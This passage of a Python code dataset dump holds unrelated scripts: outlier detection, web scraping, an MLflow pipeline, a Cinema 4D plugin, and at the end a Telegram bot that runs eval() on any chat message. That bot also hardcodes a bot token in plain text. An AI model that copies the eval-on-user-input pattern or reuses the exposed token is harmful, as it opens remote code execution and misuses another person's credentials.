= timeit.default_timer()\nfim = timeit.default_timer()\nprint ('Duracao Da Procura Na Arvore Binaria Ordem Simetrica: %f' % (fim - inicio))\n \n\n#######################################################################################\nprint('\\n----Ordem Aleatório---') # Orden que esta sendo inserida na arvore \nabb.percurso_nivel()\nprint(\"\\n\")\n\nu = int(input(\"Digite: \"))\nitems = [u] # a busca na nossa arvore\nfor elementos in items:\n r = abb.procurar(elementos) # metodo de busca na arvore\n if r is None:\n print(elementos, \"Não encontrado\")\n \n else:\n print(r.raiz.dado, 'encontrado')\n print(dict.get(u))\n\n #Contador de Doração da procura na arvore com valores aleatorios \n time.sleep(1) #\ninicio = timeit.default_timer()\nfim = timeit.default_timer()\nprint ('Duracao Da Procura Na Arvore Binaria Ordem Aleatoria: %f' % (fim - inicio))\n#######################################################################################\n\n","repo_name":"alanpablo33/AEDS3-Trabalho-01","sub_path":"Arvore Binaria de Busca Balanceada/TESTANDO_O.py","file_name":"TESTANDO_O.py","file_ext":"py","file_size_in_byte":7378,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"28993870808","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 18 21:06:05 2019\n\n@author: tommy\n\"\"\"\n\n#%%\n# load libraries\n\nimport math\nimport pandas as pd\nimport pyper as pr\nimport numpy as np\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.svm import OneClassSVM\nfrom sklearn.neighbors import LocalOutlierFactor\nfrom sklearn.covariance import EllipticEnvelope\nfrom PyAstronomy import pyasl\n\n# create a R instance\nr = pr.R(use_pandas = True)\n\n#%%\n# functions\n\ndef loess_res(ts, bass = 0):\n '''\n Fit loess curve using Friedman's Super Smoother and return residuals\n \n Parameters\n ----------\n ts: pandas series\n time series of values \n bass: int\n smoothing parameter of curve. values up to 10 for more smoothness\n \n Returns\n -------\n list\n series of residuals from loess curve fit\n '''\n \n ts = ts.tolist()\n \n # create a R instance\n # r = pr.R(use_pandas = True)\n # pass ts from python to R as Y, and pass bass parameter\n r.assign(\"Y\", ts)\n r.assign(\"bass\", bass)\n \n # fit friedman's super smoother on ts and extract the fitted values\n r(\"fit = supsmu(x=1:length(Y), y=Y, bass=bass)$y\")\n # pass fitted values from r to python\n fit = r.get(\"fit\")\n # residuals from loess fit\n residuals = ts - fit\n return(residuals.tolist())\n \n \ndef res_bounds(res, lq = 25, uq = 75, llf = 0.95, ulf = 1.2, factor = 2):\n '''\n Use loess curve residuals to identify outliers using upper and lower bounds\n \n Parameters\n ----------\n res: list\n time series of residuals from loess curve fit\n lq: int\n lower quantile\n uq: int\n upper quatile\n ulf: int\n upper limit factor. used as multiplier for upper limit \n llf: int\n lower limit factor. used as multiplier for lower limit\n factor: int\n used as multipler for both upper and lower limit\n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of 1 indicates the\n corresponding value in TS is an outlier\n '''\n \n residuals = res\n \n # upper and lower percentile of residuals and interquantile range\n up = np.percentile(a = residuals, q = uq)\n lp = np.percentile(a = residuals, q = lq)\n iqr = up - lp\n \n # upper and lower limits calculation\n ul = up + iqr * factor * ulf\n ll = lp - iqr * factor * llf\n \n # Create df and an indicator column of whether residual is beyond limits\n df = pd.DataFrame({\"residuals\" : residuals})\n df['outlier'] = np.where((df.residuals > ul) | (df.residuals < ll), 1, 0)\n \n return(df.outlier.tolist())\n \n \ndef res_iforest(features, contamination=.01, score = False):\n '''\n use loess curve residuals and isolation forest to identify outliers\n \n Parameters\n ----------\n features: dataframe\n dataframe of features\n contamination: decimal \n argument in isolation forest for proportion of outliers in data\n\n Returns\n -------\n list\n Binary series with same length as input TS. A value of -1 indicates the\n corresponding value in TS is an outlier \n '''\n \n #res = np.asarray(res).reshape(-1,1)\n \n # instantiate and fit iforest on residuals\n model = IsolationForest(contamination=.01, random_state=88)\n model.fit(features)\n \n # predict on the features\n y_pred = model.predict(features).tolist()\n \n if score == False:\n return(y_pred)\n \n scores = model.decision_function(features).tolist()\n return(y_pred, scores)\n \ndef res_svm1(features, nu = .01, kernel = \"rbf\", gamma = .01, score = False):\n '''\n use loess curve residuals and 1 class svm to identify outliers\n \n Parameters\n ----------\n features: dataframe\n dataframe of features\n nu: decimal \n upper bound on the fraction of training errors and a lower bound \n of the fraction of support vectors, and must be between 0 and 1.\n proportion of outliers expected in data\n kernel: string\n kernel type that svm uses\n gamma: decimal\n parameter of the RBF kernel type and controls the influence of \n individual training samples - this effects the \"smoothness\" \n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of -1 indicates the\n corresponding value in TS is an outlier \n '''\n \n #res = np.asarray(res).reshape(-1,1)\n \n # instantiate and fit svm on residuals\n model = OneClassSVM(nu=nu, kernel=kernel, gamma=gamma)\n model.fit(features)\n \n # predict on the features\n y_pred = model.predict(features).tolist()\n \n if score == False:\n return(y_pred)\n \n scores = model.decision_function(features).tolist()\n return(y_pred, scores)\n\ndef res_lof(features, contamination=0.1, n_neighbors = 20, score = False):\n '''\n use loess curve residuals and local outlier factor to identify outliers\n \n Parameters\n ----------\n features: dataframe\n dataframe of features\n contamination: decimal \n proportion of outliers expected in data\n n_neighbors: int\n number of neighbors to use\n score: boolean\n return binary prediction and outlier scores\n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of -1 indicates the\n corresponding value in TS is an outlier \n list\n outlier score. series with same length as input TS. only returned if \n score = True\n '''\n \n #res = np.asarray(res).reshape(-1,1)\n \n # instantiate and predict lof on features\n clf = LocalOutlierFactor(n_neighbors = n_neighbors, \n contamination = contamination)\n y_pred = clf.fit_predict(features)\n \n if score == False:\n return(y_pred.tolist())\n \n # outlier scores\n scores = clf.negative_outlier_factor_\n \n return(y_pred.tolist(), scores.tolist())\n \ndef res_ee(features, contamination=0.1, score = False):\n '''\n use loess curve residuals and elliptic envelope to identify outliers\n \n Parameters\n ----------\n features: dataframe\n dataframe of features\n contamination: decimal \n proportion of outliers expected in data\n score: boolean\n return binary prediction and outlier scores\n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of -1 indicates the\n corresponding value in TS is an outlier \n list\n outlier score. series with same length as input TS. only returned if \n score = True\n '''\n \n #res = np.asarray(res).reshape(-1,1)\n \n # instantiate and predict lof on features\n model = EllipticEnvelope(assume_centered = True, store_precision = False,\n contamination = .1, random_state = 888)\n \n model.fit(features)\n y_pred = model.predict(features)\n \n if score == False:\n return(y_pred.tolist())\n \n # outlier scores\n scores = model.decision_function(features)\n \n return(y_pred.tolist(), scores.tolist())\n\ndef res_gesd(res, maxOLs = 15, alpha = 0.05):\n '''\n use loess curve residuals and generalized extreme studentized deviation\n test to identify outliers\n \n Parameters\n ----------\n res: list\n time series of residuals from loess curve fit\n \n maxOLs: int\n max number of outliers to identify using GESD\n \n alpha: decimal\n signifigance level for identifying outlier\n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of 1 indicates the\n corresponding value in TS is an outlier \n '''\n \n # index values of outliers\n outlier_index = pyasl.generalizedESD(res, maxOLs = maxOLs, alpha = alpha,\n fullOutput=False)[1]\n \n # data frame with index values \n df = pd.DataFrame({'index': list(range(0,len(res)))})\n # create a col to indicate that the index value is an outlier\n df['gesd'] = np.where(df.index.isin(outlier_index), 1, 0)\n\n return(df.gesd.tolist())\n \ndef res_dbgesd(res, maxOLs = 8, alpha = 0.05):\n '''\n use loess curve residuals and distance based generalized extreme studentized \n deviation test to identify outliers\n \n Parameters\n ----------\n res: list\n time series of residuals from loess curve fit\n \n maxOLs: int\n max number of outliers to identify using GESD. Note that the number \n passed to generalizedESD is actually 2*maxOLs\n \n alpha: decimal\n signifigance level for identifying outlier\n \n Returns\n -------\n list\n Binary series with same length as input TS. A value of 1 indicates the\n corresponding value in TS is an outlier \n '''\n \n res = np.asarray(res)\n \n # index values of outliers\n outlier_index = pyasl.pointDistGESD(res, maxOLs = maxOLs, alpha = alpha)[1]\n \n # data frame with index values \n df = pd.DataFrame({'index': list(range(0,len(res)))})\n # create a col to indicate that the index value is an outlier\n df['dbgesd'] = np.where(df.index.isin(outlier_index), 1, 0)\n\n return(df.dbgesd.tolist())\n \ndef impute_error(df, rate=.01, col = 2, lb = .9, ub = 1.1):\n '''\n add errors randomly into a dataframe of TS\n \n Parameters\n ----------\n df : dataframe\n a dataframe of time series in long format\n rate : decimal\n error rate \n col : int\n col index of where the values are\n lb : decimal\n lower bound on error size\n ub : decimal\n upper bound on error size\n \n Returns\n -------\n dataframe\n same df as input except there's random errors added to it \n '''\n\n dirty_df = df.copy()\n \n # num of errors to add. total values * rate\n num_errors = math.ceil(df.shape[0]*rate)\n \n replaced_entries = []\n for i in range(0,num_errors):\n \n # random row \n rand_row = round(np.random.uniform(0, df.shape[0] -1))\n \n # if value has already been replaced then select another\n while(rand_row in replaced_entries):\n rand_row = round(np.random.uniform(0,df.shape[0] -1))\n \n # modify the value\n dirty_df.iloc[rand_row, col] = dirty_df.iloc[rand_row, col] \\\n * np.random.uniform(lb, ub)\n \n # add the replaced entry position to list\n replaced_entries.extend([rand_row])\n \n return dirty_df\n\ndef calc_metrics(ts_df, pred_cols, beta = .5) :\n '''\n calculate precision, recall, f1 and accuracy for detecting error value\n \n Parameters\n ----------\n ts_df: dataframe\n has indicator columns for whether row has an actual error and pred error\n DF must have column named \"error_ind\". 0 = no error, 1 = error\n pred: list\n strings of names for columns that contain predictions. 0 = no error, \n 1 = error\n beta: decimal\n weight of recall in f-beta score\n \n Returns\n -------\n dataframe\n rows identify accuracy metrics. cols identify prediction type\n '''\n \n metrics_df = pd.DataFrame()\n \n for pred in pred_cols:\n \n tp = ts_df.iloc[np.where( (ts_df.error_ind == 1) \n & (ts_df[pred] == 1) )].shape[0]\n fp = ts_df.iloc[np.where( (ts_df.error_ind == 0) \n & (ts_df[pred] == 1) )].shape[0]\n tn = ts_df.iloc[np.where( (ts_df.error_ind == 0) \n & (ts_df[pred] == 0) )].shape[0]\n fn = ts_df.iloc[np.where( (ts_df.error_ind == 1) \n & (ts_df[pred] == 0) )].shape[0]\n \n prec = tp / (tp+fp)\n recall = tp / (tp+fn)\n f1 = 2*tp / (2*tp+fp+fn)\n acc = (tp+tn) / (tp+fp+tn+fn)\n beta_sq = beta * beta\n f_beta = (1 + beta_sq) * ((prec * recall) / ((beta_sq * prec) + recall))\n #mcc = ...\n \n metrics = pd.Series({'Precision':prec, \n 'Recall': recall,\n 'F-Beta Score': f_beta,\n 'F1 Score': f1,\n 'Accuracy':acc})\n \n metrics_df[pred] = metrics\n \n return(metrics_df)","repo_name":"tom1919/ts_error_detection","sub_path":"scripts/ts_outlier_functions.py","file_name":"ts_outlier_functions.py","file_ext":"py","file_size_in_byte":12308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"30884642342","text":"from networktables import NetworkTables\nfrom networktables import NetworkTablesInstance\nimport time\n\nntinst = NetworkTablesInstance.getDefault()\nntinst.startClientTeam(2635)\nntinst.startDSClient()\n\nsd = NetworkTables.getTable(\"MonsterVision\")\n\nwhile True:\n sd.putNumber(\"time\", time.time())\n ntinst.flush()\n time.sleep(1)\n\n","repo_name":"Lakemonsters2635/Visual-Joysticks","sub_path":"NTTest.py","file_name":"NTTest.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"707754226","text":"# The Global Innovation Index (GII), ranks all countries in terms of innovation and is released every year in a large pdf\n# To automate the process of gathering this data, I am creating a program utilising Selenium to automatically take me to the relevent web page to download this pdf\n# I then use Tabula to extract the tables directly from the pdf and create Pandas Dataframes\n\n# Importing the necessary Selenium modules\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\n\n# Setting my chromepath so that Selenium can access Google Chrome\n\npath = \"C:\\Windows\\chromedriver.exe\"\n\ndriver = webdriver.Chrome(path)\n\n# Telling Python to go to the relevant website to find this years Global Innovation Index Report\n\n# To make the code applicable to other years, the user will simply have to change the year value\n\ndriver.get(\"https://www.wipo.int/global_innovation_index/en/2021/\")\n\n# Telling python to click on the link to access this years report, in future years I would just have to change \"2021\" to the current year\n\nlink = driver.find_element(By.LINK_TEXT, \"Download the Global Innovation Index 2021\")\nlink.click()\n\n# Python has taken me to the most recent report and I have saved it as \"innovation.pdf\", it is a 226 page pdf, the data I want is on page 24\n\n# Importing the necessary Tabula and Pandas modules as well as Numpy\n\nimport pandas as pd\nimport tabula\nimport numpy as np\n\n# Getting python to take the data directly off the tables in the pdf\n\n# I have set \"stream=True\" since not all columns in the table are separated by lines, but do have white space between them\n# Futhermore, Tabula was unable to read the pdf when \"lattice=True\"\n\nData = tabula.read_pdf(\"innovation.pdf\", pages=\"24\", stream=True)\n\n# In order for me the see the data better, I went python to show me the complete dataframe\n\npd.set_option(\"display.max_rows\", 1000, \"display.max_columns\", 1000)\n\n# The second half of the table is placed next to the first half in the pdf, this means that I have a dataframe with the\n# Second half of values in a different column rather than below the rest of the data, I will need to change this\n\n# Changing what I have from a list of lists to a dataframe\n\ndf = pd.concat(Data)\n\n# Naming all the columns in the dataframe to help when I split it\n\ndf.columns=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\"]\n\n# Constructing my two seprate Dataframes, capturing the two tables on the pdf\n\ndf1 = df.loc[:,[\"A\",\"B\",\"C\"]]\ndf2 = df.loc[:,[\"F\",\"G\",\"H\"]]\n\n# Making df2 have the same heading as df1 so they can be appended more easily\n\ndf2 = df2.drop(labels=[0,1])\ndf2.columns=[\"A\",\"B\",\"C\"]\n\n# Appending the data\n\ndf3 = df1.append(df2)\n\n# Giving the columns their correct names, and getting rid of the first two rows that were in the PDF\n\ndf3.columns=[\"GII Rank\",\"Country\",\"GII Score\"]\ndf3 = df3.drop(labels=[0,1])\n\n# I now have a list of 132 countries, showing their GII ranks and scores\n\n# Now time to add inequality data\n\n# I will be using the Wealth gini index, from the World Population Review Website\n# In order to be able to update my data with minimal effort if the website updates its figures, I will be scraping the Website\n\n# Importing necessary modules for web scrape\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n# Website I want to scrape\n\nURL = \"https://worldpopulationreview.com/country-rankings/wealth-inequality-by-country\"\nhtml = requests.get(URL)\nsoup = BeautifulSoup(html.content,'html.parser')\n\n# Using the identifier I have found for results in the table\n\nResults = soup.find_all(\"td\")\n\n# Extracting the text\n\nResults_list = [i.text for i in Results]\n\n# My list shows each country, its wealth Gini index score, and its population\n# I will extract only the country names and the wealth Gini scores and make them into two columns in a dataframe\n\n# Extracting the variables I want\n\nCountry_list = Results_list[::3]\nGini_list = Results_list[1::3]\n\n# Making the dataframes\n\ndfg1 = pd.DataFrame(Country_list)\ndfg2 = pd.DataFrame(Gini_list)\n\n# Merging the dataframes\n\ndfg3 = pd.concat([dfg1,dfg2], axis=1)\n\n# Naming Columns\n\ndfg3.columns=[\"Country\", \"Gini Wealth Index Score\"]\n\n# In order to merge df3 and dfg3, I need to make sure that country names match\n# I have identified that some countries do not exist in both datasets and thus will not be used\n# Some countries exist in both dataframes but have different names or spelling, I will make them match\n# I will match in preference of df3, since I might want to add more data from the pdf\n\ndfg3[\"Country\"] = dfg3[\"Country\"].replace([\"United States\", \"South Korea\", \"Hong Kong\", \"Vietnam\", \"Russia\", \"Iran\", \"Moldova\", \"Bosnia And Herzegovina\", \"Brunei\", \"Tanzania\",\"Dominica\", \"Trinidad And Tobago\", \"Bolivia\", \"Laos\"],[\"United States of America\", \"Republic of Korea\", \"Hong Kong, China\", \"Viet Nam\", \"Russian Federation\", \"Iran (Islamic Republic of)\", \"Republic of Moldova\", \"Bosnia and Herzegovina\", \"Brunei Darussalam\", \"United Republic of Tanzania\", \"Dominican Republic\", \"Trinidad and Tobago\", \"Bolivia (Plurinational State of)\", \"Lao People’s Democratic Republic\"])\n\n# Now that the non-missing values are matching, I can merge the two dataframes based on country\n\ndf4 = pd.merge(df3, dfg3, on=\"Country\")\n\n# My dataframe (df4) now shows: GII Rank, Country, GII Score, Gini Wealth Index Score for 126 countries\n\n# It might add more to the analysis to classify countries into income groups, this is done on page 25 of the innovation PDF\n\n# Extracting the income data\n\nIncome = tabula.read_pdf(\"innovation.pdf\", pages=\"25\", stream=True)\n\n# Changing what I have from a list of lists to a dataframe\n\nIncomedf = pd.concat(Income)\n\n# The data has been extracted such that column titles are what the first row should be, I will therefore change this\n\n# Here I create a new row based of the column titles and also adjust the indexing of the dataframe\nIncomedf.loc[-1] = Incomedf.columns\nIncomedf.index = Incomedf.index+1\nIncomedf = Incomedf.sort_index()\n\n# Creating new column titles for the DataFrame\n\nIncomedf.columns = [\"A\", \"B\", \"C\", \"D\", \"E\"]\n\n# The high-income group is represented by \"B\", the Upper-Middle income group by \"C\", the Lower-Middle income group by \"D\" and the low-income group by \"E\"\n\n# There are duplicate results in this dataframe (perhaps from an error when I created it), I will therefore remove all duplicates\n\nIncomedf = Incomedf.drop_duplicates(subset=None, keep=\"first\", inplace=False)\n\n# I want to assign each country a score based on its income groups. I will put each group into a dataframe, add a new column with an income score and merge them all back into a new DataFrame\n# With an income score of \"1\" being assigned to the lowest-income group, and an income score of \"4\" being assigned to the highest income group\n# Since some columns were longer than others in the pdf, a lot of the dataframes will have rows full of missing values, I will remove those too\n\ndfib = pd.DataFrame(Incomedf[\"B\"])\ndfib[\"S\"] = np.nan\ndfib[\"S\"] = dfib[\"S\"].fillna(4)\ndfib.columns = [\"A\", \"B\"]\n\ndfic = pd.DataFrame(Incomedf[\"C\"])\ndfic = dfic.dropna(how = \"all\")\ndfic[\"S\"] = np.nan\ndfic[\"S\"] = dfic[\"S\"].fillna(3)\ndfic.columns = [\"A\", \"B\"]\n\ndfid = pd.DataFrame(Incomedf[\"D\"])\ndfid = dfid.dropna(how = \"all\")\ndfid[\"S\"] = np.nan\ndfid[\"S\"] = dfid[\"S\"].fillna(2)\ndfid.columns = [\"A\", \"B\"]\n\ndfie = pd.DataFrame(Incomedf[\"E\"])\ndfie = dfie.dropna(how = \"all\")\ndfie[\"S\"] = np.nan\ndfie[\"S\"] = dfie[\"S\"].fillna(1)\ndfie.columns = [\"A\", \"B\"]\n\n# Whilst the above tasks, could be done quicker with a for loop, I was unable to create a dynamic variable\n\ndfis = dfib.append([dfic, dfid, dfie])\n\ndfis.columns=[\"Country\", \"Income Score\"]\n\n# I now have my dataframe with all countries and their income scores. I can now merge it with the large datadrame\n\ndf5 = pd.merge(df4, dfis, on=\"Country\")\nprint(df5)\n\n# My dataframe now contains: GII Rank, Country, GII Score, Gini Wealth Index Score and Income score for 125 countries\n# This script will require very few changes to update all its data, once a new pdf is released and the World Population Review website is updated\n# I can now save this data to a csv to be used for making charts on Vega Lite\n\ndf5.to_csv(\"Project_InnovationIndex_WealthInequality_Data.csv\")\n","repo_name":"EliezerMeyer/EliezerMeyer.github.io","sub_path":"project1_data.py","file_name":"project1_data.py","file_ext":"py","file_size_in_byte":8241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"22397490465","text":"import json\r\n\r\n# from .utils import get_data_for_test\r\nimport os\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom materializer.materializer import cs_materializer\r\nfrom steps.clean_data import clean_data\r\nfrom steps.evaluation import evaluation\r\nfrom steps.ingest_data import ingest_data\r\nfrom steps.train_model import train_model\r\nfrom zenml import pipeline, step\r\nfrom zenml.config import DockerSettings\r\nfrom zenml.constants import DEFAULT_SERVICE_START_STOP_TIMEOUT\r\nfrom zenml.integrations.constants import MLFLOW, TENSORFLOW\r\nfrom zenml.integrations.mlflow.model_deployers.mlflow_model_deployer import (\r\n MLFlowModelDeployer,\r\n)\r\nfrom zenml.integrations.mlflow.services import MLFlowDeploymentService\r\nfrom zenml.integrations.mlflow.steps import mlflow_model_deployer_step\r\nfrom zenml.steps import BaseParameters, Output\r\n\r\nfrom .utils import get_data_for_test\r\n\r\ndocker_settings = DockerSettings(required_integrations=[MLFLOW])\r\nimport pandas as pd\r\n\r\nrequirements_file = os.path.join(os.path.dirname(__file__), \"requirements.txt\")\r\n\r\n\r\n@step(enable_cache=False)\r\ndef dynamic_importer() -> str:\r\n data = get_data_for_test()\r\n return data\r\n\r\n\r\nclass DeploymentTriggerConfig(BaseParameters):\r\n min_accuracy: float = 0.9\r\n\r\n\r\n@step\r\ndef deployment_trigger(\r\n accuracy: float,\r\n config: DeploymentTriggerConfig,\r\n) -> bool:\r\n return accuracy > config.min_accuracy\r\n\r\n\r\nclass MLFlowDeploymentLoaderStepParameters(BaseParameters):\r\n pipeline_name: str\r\n step_name: str\r\n running: bool = True\r\n\r\n\r\n@step(enable_cache=False)\r\ndef prediction_service_loader(\r\n pipeline_name: str,\r\n pipeline_step_name: str,\r\n running: bool = True,\r\n model_name: str = \"model\",\r\n) -> MLFlowDeploymentService:\r\n model_deployer = MLFlowModelDeployer.get_active_model_deployer()\r\n existing_services = model_deployer.find_model_server(\r\n pipeline_name=pipeline_name,\r\n pipeline_step_name=pipeline_step_name,\r\n model_name=model_name,\r\n running=running,\r\n )\r\n\r\n if not existing_services:\r\n raise RuntimeError(\r\n f\"No MLflow prediction service deployed by the \"\r\n f\"{pipeline_step_name} step in the {pipeline_name} \"\r\n f\"pipeline for the '{model_name}' model is currently \"\r\n f\"running.\"\r\n )\r\n print(existing_services)\r\n print(type(existing_services))\r\n return existing_services[0]\r\n\r\n\r\n@step\r\ndef predictor(\r\n service: MLFlowDeploymentService,\r\n data: np.ndarray,\r\n) -> np.ndarray:\r\n service.start(timeout=10)\r\n data = json.loads(data)\r\n data.pop(\"columns\")\r\n data.pop(\"index\")\r\n columns_for_df = [\r\n \"payment_sequential\",\r\n \"payment_installments\",\r\n \"payment_value\",\r\n \"price\",\r\n \"freight_value\",\r\n \"product_name_lenght\",\r\n \"product_description_lenght\",\r\n \"product_photos_qty\",\r\n \"product_weight_g\",\r\n \"product_length_cm\",\r\n \"product_height_cm\",\r\n \"product_width_cm\",\r\n ]\r\n df = pd.DataFrame(data[\"data\"], columns=columns_for_df)\r\n json_list = json.loads(json.dumps(list(df.T.to_dict().values())))\r\n data = np.array(json_list)\r\n prediction = service.predict(data)\r\n return prediction\r\n\r\n\r\n@step\r\ndef predictor(\r\n service: MLFlowDeploymentService,\r\n data: str,\r\n) -> np.ndarray:\r\n \"\"\"Run an inference request against a prediction service\"\"\"\r\n\r\n service.start(timeout=10) \r\n data = json.loads(data)\r\n data.pop(\"columns\")\r\n data.pop(\"index\")\r\n columns_for_df = [\r\n \"payment_sequential\",\r\n \"payment_installments\",\r\n \"payment_value\",\r\n \"price\",\r\n \"freight_value\",\r\n \"product_name_lenght\",\r\n \"product_description_lenght\",\r\n \"product_photos_qty\",\r\n \"product_weight_g\",\r\n \"product_length_cm\",\r\n \"product_height_cm\",\r\n \"product_width_cm\",\r\n ]\r\n df = pd.DataFrame(data[\"data\"], columns=columns_for_df)\r\n json_list = json.loads(json.dumps(list(df.T.to_dict().values())))\r\n data = np.array(json_list)\r\n prediction = service.predict(data)\r\n return prediction\r\n\r\n\r\n@pipeline(enable_cache=True, settings={\"docker\": docker_settings})\r\ndef continuous_deployment_pipeline(\r\n min_accuracy: float = 0.9,\r\n workers: int = 1,\r\n timeout: int = DEFAULT_SERVICE_START_STOP_TIMEOUT,\r\n):\r\n df = ingest_data()\r\n x_train, x_test, y_train, y_test = clean_data(df)\r\n model = train_model(x_train, x_test, y_train, y_test)\r\n mse, rmse = evaluation(model, x_test, y_test)\r\n deployment_decision = deployment_trigger(accuracy=mse)\r\n mlflow_model_deployer_step(\r\n model=model,\r\n deploy_decision=deployment_decision,\r\n workers=workers,\r\n timeout=timeout,\r\n )\r\n\r\n\r\n@pipeline(enable_cache=False, settings={\"docker\": docker_settings})\r\ndef inference_pipeline(pipeline_name: str, pipeline_step_name: str):\r\n batch_data = dynamic_importer()\r\n model_deployment_service = prediction_service_loader(\r\n pipeline_name=pipeline_name,\r\n pipeline_step_name=pipeline_step_name,\r\n running=False,\r\n )\r\n predictor(service=model_deployment_service, data=batch_data)","repo_name":"manikantpandey/Customer-Satisfaction","sub_path":"Pipeline/deployment_pipeline.py","file_name":"deployment_pipeline.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"31508649586","text":"# -*- coding: utf8 -*-\n# written by charlie robin / charlierobin.com / 2017\n\nimport c4d, ControllerWithLevels\n\nOBJECT_NAMES = \"objectNames\"\nDISTANCES = ControllerWithLevels.DISTANCES\n\nclass InstanceController( ControllerWithLevels.ControllerWithLevels ):\n\n PLUGIN_NAME = \"Instance Controller\"\n PLUGIN_ID = 1039267\n\n def __init__( self ):\n \n super( InstanceController, self ).__init__()\n \n self.InitParameter( OBJECT_NAMES, ControllerWithLevels.TYPE_STRING )\n self.InitParameter( DISTANCES, ControllerWithLevels.TYPE_FLOAT32 )\n \n def AppendNew( self, counter ):\n \n self.parameterArrays[ OBJECT_NAMES ].append( \"New object name value \" + str( counter ) )\n \n def DescriptionItemsBeforeDistance( self, node, description, singleID, groupID, newParameterID, index ):\n \n # OBJECT NAME STRING\n \n newID = newParameterID\n newParameterID = newParameterID + 1\n \n self.parameterIDArrays[ OBJECT_NAMES ].append( newID )\n \n descid = c4d.DescID( c4d.DescLevel( newID, c4d.DTYPE_STRING, node.GetType() ) )\n \n addParameter = singleID is None\n \n if not addParameter: addParameter = descid.IsPartOf( singleID )[ 0 ]\n \n if addParameter:\n \n bc = self.String()\n \n bc.SetString( c4d.DESC_NAME, \"Object \" + str( index + 1 ) )\n bc.SetString( c4d.DESC_SHORT_NAME, \"Object\" )\n \n description.SetParameter( descid, bc, groupID )\n \n return newParameterID\n \n def Execute( self, tag, doc, object, bt, priority, flags ):\n \n result = super( InstanceController, self ).Execute( tag, doc, object, bt, priority, flags )\n if result != c4d.EXECUTIONRESULT_OK: return c4d.EXECUTIONRESULT_OK\n \n if object.GetType() != c4d.Oinstance:\n self.MessageToUser( tag, \"This tag only works when applied to Instance objects\" )\n return c4d.EXECUTIONRESULT_OK\n \n if not tag[ c4d.SMALL_FAR_AWAY_INSTANCE_CONTROLLER_CONTAINER ]:\n \n self.MessageToUser( tag, \"No container null specified\" )\n return c4d.EXECUTIONRESULT_OK\n \n if not tag[ c4d.SMALL_FAR_AWAY_INSTANCE_CONTROLLER_DEFAULT_OBJECT ]:\n \n self.MessageToUser( tag, \"No default object specified\" )\n return c4d.EXECUTIONRESULT_OK\n \n containerObject = self.FindFirstTopLevelObjectCalled( tag[ c4d.SMALL_FAR_AWAY_INSTANCE_CONTROLLER_CONTAINER ], doc )\n \n if not containerObject:\n \n self.MessageToUser( tag, \"Container “\" + tag[ c4d.SMALL_FAR_AWAY_INSTANCE_CONTROLLER_CONTAINER ] + \"” not found\" )\n return c4d.EXECUTIONRESULT_OK\n \n if self.NumberOfLevels() == 0: self.MessageToUser( tag, \"No levels specified\" )\n \n searchFor = tag[ c4d.SMALL_FAR_AWAY_INSTANCE_CONTROLLER_DEFAULT_OBJECT ]\n \n level = self.GetLevel()\n \n if level > -1: searchFor = self.parameterArrays[ OBJECT_NAMES ][ level ]\n\n objectFound = self.FindFirstFirstLevelChildCalled( searchFor, containerObject )\n \n if objectFound:\n \n object[ c4d.INSTANCEOBJECT_LINK ] = objectFound\n \n else:\n \n self.MessageToUser( tag, \"“\" + searchFor + \"” not found\" )\n \n \n return c4d.EXECUTIONRESULT_OK\n \n","repo_name":"charlierobin/small-far-away","sub_path":"InstanceController.py","file_name":"InstanceController.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"28546026163","text":"import pandas as pd\r\n\r\n\r\n# %%\r\n\r\ndef split_course_name(fpath='./tt_course.csv'):\r\n filename = './tt_course.csv'\r\n df = pd.read_csv(filename)\r\n course_list = df['COURSE_NO'].unique().tolist()\r\n print(course_list)\r\n\r\n fname = []\r\n sname = []\r\n\r\n for course in course_list:\r\n first, second = course.split(' ')\r\n fname.append(first)\r\n sname.append(second)\r\n\r\n fname = list(set(fname))\r\n sname = list(set(sname))\r\n sorted(fname)\r\n sorted(sname)\r\n\r\n with open('./tt_coursenameF.txt', 'w') as f:\r\n for name in fname:\r\n print(name, file=f)\r\n with open('./tt_coursenameS.txt', 'w') as f:\r\n for name in sname:\r\n print(name, file=f)\r\n\r\n\r\n# %%\r\n\r\nwith open('./tt_coursenameF.txt', 'r') as f:\r\n while True:\r\n s = f.readline()\r\n if not s:\r\n break\r\n print(s, end=\"\")\r\n\r\n\r\n","repo_name":"DarshRPatel/Chatbot_Buddy","sub_path":"Chatbot_Database/entity_extraction.py","file_name":"entity_extraction.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40209960382","text":"import telebot\nfrom subprocess import call\n\ntoken = \"381907090:AAGjkL5xD9pT9503MWS9sh-e8K_N9nW2sAw\"\n\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(commands=[\"start\"])\ndef start(message):\n bot.send_message(message.chat.id, \"Я умею выполнять код! Пришли мне его полностью!\")\n\n@bot.message_handler(content_types=[\"text\"])\ndef echo(message):\n try:\n result = eval(message.text)\n except Exception as e:\n result = \"Ошибка: \"+str(e)\n\n bot.send_message(message.chat.id, result)\n\nbot.polling(none_stop=True)\n\n","repo_name":"roctbb/GoTo-Start-2017","sub_path":"Lesson 